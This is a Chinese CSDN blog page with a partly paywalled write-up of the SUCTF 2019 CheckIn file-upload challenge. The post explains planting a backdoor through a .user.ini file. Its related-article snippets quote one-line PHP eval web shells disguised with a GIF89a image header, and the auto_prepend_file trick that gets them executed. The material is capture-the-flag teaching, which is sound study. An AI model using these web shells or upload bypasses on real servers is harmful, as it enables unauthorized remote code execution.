[SUCTF 2019]CheckIn 1（详解）

最新推荐文章于 2024-02-01 15:31:42 发布
最新推荐文章于 2024-02-01 15:31:42 发布
阅读量6k 收藏 2
点赞数
文章标签： 安全 web安全 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52843575/article/details/121886489
版权

1.基础检测

进入页面是一个简单文件上传界面，正常上传文件，发现上传空内容的jpg文件显示（exif_imagetype:not image!），可知有内容检测，上传代码文件也发现后缀名过滤
开始抓包操作，因为后缀名验证，伪造文件属性也失效了，与此同时发现“?”被过滤了简单利用
在这里插入图片描述

2.解题关键

  这道题解题关键在于怎样突破后缀名绕过，就得利用.user.ini文件留后门了

user.ini留后门原理

简单来说，就是利于.user.ini指定文件，在其当前目录下的文件执行时会将你指定的文件中的代码执行出来，以此带入后门

3.操作实现

在这里插入图片描述

最低0.47元/天 解锁文章
qq_52843575
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
checkin1:第5组TCSS 360
05-14
【标题】"checkin1:第5组TCSS 360"指的是一个项目或作业提交，可能是在学习或工作中，由一个名为“第5组”的团队完成的。TCSS 360可能是课程名或者项目代号，代表全面的系统安全或软件开发流程。团队成员包括Hari G ...
checkin
03-18
【标题】：“checkin”项目解析 【描述】：这个名为“checkin”的项目是一个针对“深层链接”教程而创建的“酒店基本入住”Web应用程序。它的主要目标是提供一个平台，用户可以在这个平台上模拟酒店的入住流程，...
文件上传 [SUCTF 2019]CheckIn1
m0_75178803的博客
11-13 398
图片马就是把一句话木马，通过二进制的方式追加到图片文件末尾，将木马文件和图片合并为另一个图片文件，合并后的图片包含一句话木马而且不影响图片显示，但用记事本等文本编辑器打开，能看到图片末尾的恶意代码。原因：.user.ini中auto_prepend_file函数会在执行index.php前把我们的一句话木马文件包含进来，并解析为php格式，而且这个函数是在执行加载第一个PHP代码之前执行指示（包含的）PHP文件。用记事本打开5.jpg，在乱码的末尾发现了我们加上去的一句话木马（图片是能正常显示的）
[SUCTF 2019]CheckIn 1
shinygod的博客
02-09 2427
知识点：exif_imagetype() 、 .user.ini 文章目录：题解参考 题解 文件上传，我们传一个带一句话马的图片 <?php @eval($_REQUEST['cmd']);?> 但是它提示我们不能有<?，那我们就换一种 <script language="php">eval($_REQUEST['cmd']);</script> 在这边，它用了一个exif_imagetype函数来判断文件类型。 平时简单一点的文件类型检查就是$_FIL
[SUCTF 2019] Check In 1
c1516175954的博客
03-02 243
[SUCTF 2019]CheckIn1源码审计
[SUCTF 2019]CheckIn1-BUUCTF-xing
chinese_cabbage0的博客
02-01 510
web安全
glados_checkin
03-25
glados定时签到
checkin-system
05-19
1.安装node.js 安装并启动node.js。 （ ） $ node --version 安装并启动mongoDB。 （ ） $ cd mongodb $ mkdir -p data/db $ bin/mongod --dbpath data/db & 2.克隆gsshop-checkin $ git clone ...
[SUCTF 2019]CheckIn1
cuddlylm的博客
05-25 226
参考：https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html 有点类似于.htaccess文件 利用.user.ini文件留后门 利用.user.ini指定文件，在其当前目录下的文件执行时会将你指定的文件中的代码执行出来，以此带入后门 先上传.user.ini文件 #define width 20 #define height 10 auto.
[SUCTF 2019]CheckIn
Knsec
06-01 1925
[SUCTF 2019]CheckIn
BUUCTF [SUCTF 2019]CheckIn 1
weixin_45642610的博客
01-17 685
BUUCTF [SUCTF 2019]CheckIn 1 文件包含，一句话木马上传。 直接上传一句话木马<?php eval($_POST['a']);?> 非法后缀 那就改后缀绕过，通常有phtml php3 php4 php5 Php php (空格) php pphphp 都试试，都不行。 这时候可以用图片上传。 在一个文件夹中随便复制粘贴来一张照片，创建一个txt文本，输入 GIF89a <script language=php>eval($_POST['a']);&l
BUUCTF——[SUCTF 2019]CheckIn 1
小白一枚多多关注的博客
04-12 1444
这道题应为我的理论限制，所以做了段时间才做出来，这道题它有两个知识前提，第一个就是.user.ini和图片文件头欺骗，这两点在这里有着举足轻重得作用，可以说不了解这两点就大概率得做不出这道题，前置知识点我也没咋理解好，但是这里有一篇写得不错得文章推荐给你门看看： .user.ini得作用以及配置 图片文件头欺骗 前置知识点知道后，那就开始进入环境并且解体了 进入环境后我们会看见一个文件上传得网页，当我一看到这个网页得时候我的第一想法就是文件上传漏洞，当然最后的实验结果也确实是这个漏洞，不过它这里用了一个p
BUU实战笔记——[SUCTF 2019]CheckIn 1
qq_51175992的博客
07-14 209
文件上传中利用到.user.ini配置文件
文件上传图片木马执行之[SUCTF 2019]CheckIn1
qq_58970968的博客
04-14 2221
参考博文：BUUCTF__[SUCTF 2019]CheckIn_题解_风过江南乱的博客-CSDN博客 上传一句话木马文件的普通方式都不可以，发现可以上传jpg木马，jpg木马他也进行内容绕过，不能含有<?，但是可以构造其他的，然后还要添加GIF89a进行伪装； 图片木马的制作，不多说；这里上传jpg木马之后，怎么执行里面的木马呢； 目前学到的有两种方法： 1.在apache中，可以用.htacess文件来实现，可这道题也被正则了 2.用.user.ini （知识点在参考里面也有）；大概就.
web buuctf [SUCTF 2019]CheckIn1
weixin_44214568的博客
03-15 1512
如图，应该是一个文件上传的题目； 1.上传一句话木马： 上传php文件，提示illegal suffix!（非法后缀），改一下后缀，php3,phtml,Php都是一样的提示，应该是对文件后缀进行了过滤 改成jpg格式的提示exif_imagetype:not image!，后台函数进行了过滤 2.改文件头GIF89a?<script language="php">eval($_post['a']);</script> 上传后提示 能够看到文件上传的路径，和文件所在位..
buuctf-web-[SUCTF 2019]CheckIn1
mlws1900的博客
08-11 418
类似的思路就是index.php把1.jpg进行文件包含，1.jpg里面的内容就以php代码执行，于是getshell。，对GIF89a进行检测（exif_imagetype）这题目环境好像有问题一样，做着做着就自动刷新了上传的马，还好截图快。上传文件，上传一个空的jpg文件，发现not image。exif_imagetype -- 判断一个图像的类型。然后先上传user.ini然后上传jpg文件。文件上传漏洞之user.ini留后门。做一个.user.ini文件。进入根目录找到flag即可。
2021gkctf checkin
最新发布
02-29
2021gkctf checkin 是一个CTF（Capture The Flag）比赛，是由GKSEC团队举办的。CTF比赛是一种网络安全竞赛，旨在测试参赛者在网络安全领域的技能和知识。 在2021gkctf checkin中，参赛者需要完成一系列的网络安全挑战，包括密码学、逆向工程、漏洞利用等等。参赛者需要通过解决这些挑战来获取旗帜（flag），并提交给比赛组织者。 比赛的checkin阶段通常是指参赛者进行报名和注册的过程。具体的checkin流程可能因比赛组织者而异，一般需要填写个人信息、同意比赛规则等等。 如果你想了解更多关于2021gkctf checkin的信息，建议你访问GKSEC团队的官方网站或者参考他们的相关公告和规则。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值